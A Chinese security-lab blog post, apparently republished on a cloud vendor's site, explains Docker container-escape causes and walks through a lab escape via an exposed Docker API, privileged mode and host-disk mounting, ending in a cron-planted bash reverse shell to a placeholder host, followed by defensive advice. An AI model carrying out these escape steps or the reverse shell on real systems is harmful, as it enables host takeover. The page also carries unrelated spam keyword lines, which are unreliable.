中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

美創安全實驗室 | Docker逃逸原理

發布時間:2020-08-07 22:52:56 來源:ITPUB博客 閱讀:242 作者:數據安全 欄目:云計算

Docker是時下使用范圍最廣的開源容器技術之一,具有高效易用等優點。由于設計的原因,Docker天生就帶有強大的安全性,甚至比虛擬機都要更安全,但你可曾想過“堅不可摧”的Docker也會被人攻破,Docker逃逸所造成的影響之大幾乎席卷了全球的Docker容器。本期美創安全實驗室將會帶大家研究造成Docker逃逸的根本原理以及相應的防御方法。

Docker簡介

Docker是一種容器,容器的官方定義是:將軟件打包成標準化單元、以用于開發、交付和部署。容器的特點在于格式統一,運行速度快,所需資源小,并且可以層層重疊。

與虛擬機的架構進行一下對比就可以看出,Docker整體的架構更加輕巧,靈活。而且由于Docker是直接利用宿主機的系統內核,所以可以做到幾秒鐘之內創建大量的容器,他們的啟動速度是在數量級上的差距。

美創安全實驗室 | Docker逃逸原理虛擬機與Docker架構對比

(左為虛擬機架構、右為Docker架構)

Docker逃逸原理

因為Docker所使用的是隔離技術,就導致了容器內的進程無法看到外面的進程,但外面的進程可以看到里面,所以如果一個容器可以訪問到外面的資源,甚至是獲得了宿主主機的權限,這就叫做“Docker逃逸”。

目前產生Docker逃逸的原因總共有三種:

一、由內核漏洞引起。

二、由Docker軟件設計引起。

三、由特權模式與配置不當引起。

接下來依次對這三種逃逸方法做簡單說明。

01由于內核漏洞引起的逃逸

因為Docker是直接共享的宿主主機內核,所以當宿主主機的內核存在安全漏洞時會一并影響Docker的安全,導致可能會造成Docker逃逸。具體流程如下:

①使用內核漏洞進入內核上下文

②獲取當前進程的task struct

③回溯task list 獲取pid=1的task struct,復制其相關 數據

④切換當前namespace

⑤打開root shell,完成逃逸

02由于Doker軟件設計引起的逃逸

比較典型的例子是Docker的標準化容器執行引擎----runc。Runc曾在2019年2月被爆出來過一個Docker逃逸漏洞CVE-2019-5736。其漏洞原理是,Docker、Containerd或其他基于runc的容易在運行時存在安全漏洞,攻擊者可以通過特定的容器鏡像或者exec操作獲取到宿主機runc執行文件時的文件句柄并修改掉runc的二進制文件,從而獲取到宿主機的root執行權限,造成Docker逃逸。

03由于特權模式+目錄掛載引起的逃逸

這一種逃逸方法較其他兩種來說用的更多。特權模式在6.0版本的時候被引入Docker,其核心作用是允許容器內的root擁有外部物理機的root權限,而此前在容器內的root用戶只有外部物理機普通用戶的權限。

使用特權模式啟動容器后(docker run --privileged),Docker容器被允許可以訪問主機上的所有設備、可以獲取大量設備文件的訪問權限、并可以執行mount命令進行掛載。

當控制使用特權模式的容器時,Docker管理員可通過mount命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,此外還可以通過寫入計劃任務等方式在宿主機執行命令。

除了使用特權模式啟動Docker會引起Docker逃逸外,使用功能機制也會造成Docker逃逸。Linux內核自版本2.2引入了功能機制(Capabilities),打破了UNIX/LINUX操作系統中超級用戶與普通用戶的概念,允許普通用戶執行超級用戶權限方能運行的命令。例如當容器以--cap-add=SYSADMIN啟動,Container進程就被允許執行mount、umount等一系列系統管理命令,如果攻擊者此時再將外部設備目錄掛載在容器中就會發生Docker逃逸。

Docker逃逸實驗(特權模式+目錄掛載)

目標機:192.168.210.37

目標機上對外開啟了Docker服務,運行在2375端口上。直接訪問目標機的2375端口即可未授權查看Docker信息,如下:

美創安全實驗室 | Docker逃逸原理

查看當前docker中存在的所有容器:docker images

美創安全實驗室 | Docker逃逸原理

使用特權模式啟動容器

美創安全實驗室 | Docker逃逸原理

查看磁盤文件:fdisk -l

美創安全實驗室 | Docker逃逸原理

從返回結果來看sda1、sda2、sda3在/dev目錄下。

美創安全實驗室 | Docker逃逸原理

新建一個目錄/test,然后將/dev/sda1掛載到新建的目錄下

mkdir /test

mount /dev/sda1/test

美創安全實驗室 | Docker逃逸原理

這時再查看新建的目錄/test,就可以訪問宿主機上的目錄內容了(/root目錄下的內容)

美創安全實驗室 | Docker逃逸原理

同理,新建一個目錄/test2,將/dev/sda3掛載到新建的目錄下,并查看test2目錄下的內容,發現可以訪問宿主機上/目錄下的內容了

美創安全實驗室 | Docker逃逸原理

在計劃任務里寫入一個反彈shell:

echo '*****bash -i >& /dev/tcp/x.x.x.x/7777 0>&1'>> /test2/var/spool/cron/root

美創安全實驗室 | Docker逃逸原理

在Docker上開啟netcat監聽7777端口,成功接收到宿主主機的Shell,實現Docker逃逸。

美創安全實驗室 | Docker逃逸原理

Docker逃逸防御

? 更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆蓋CVE-2019-5736。

? runc版本>1.0-rc6

? k8s 集群版本>1.12

? Linux內核版本>=2.6.22——CVE-2016-5195(臟牛)

? Linux內核版本>=4.14——CVE-2017–1000405(大臟牛),未找到docker逃逸利用過程,但存在逃逸風險。

? 不建議以root權限運行Docker服務。

?不建議以privileged(特權模式)啟動Docker。

? 不建議將宿主機目錄掛載至容器目錄。

? 不建議將容器以—cap-add=SYSADMIN啟動,SYSADMIN意為container進程允許執行mount、umount等一系列系統管理操作,存在容器逃逸風險。

美創科技聚焦數據安全,圍繞數據安全、災難備份、數據管理、智能運維等多方面挖掘和鑄造數據價值,憑借卓越的產品技術和服務贏得了眾多行業的認可和用戶口碑!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

新丰县| 离岛区| 洛扎县| 济源市| 锦屏县| 罗甸县| 常宁市| 商都县| 衡水市| 永川市| 巴彦淖尔市| 读书| 喀喇| 桂林市| 台北县| 广东省| 宁河县| 曲阜市| 南通市| 新竹县| 石楼县| 五原县| 东宁县| 广水市| 江口县| 花莲县| 镇宁| 德格县| 临沧市| 绥宁县| 江门市| 栾川县| 哈尔滨市| 宜兰市| 绍兴市| 皮山县| 遂川县| 视频| 敖汉旗| 永兴县| 富蕴县|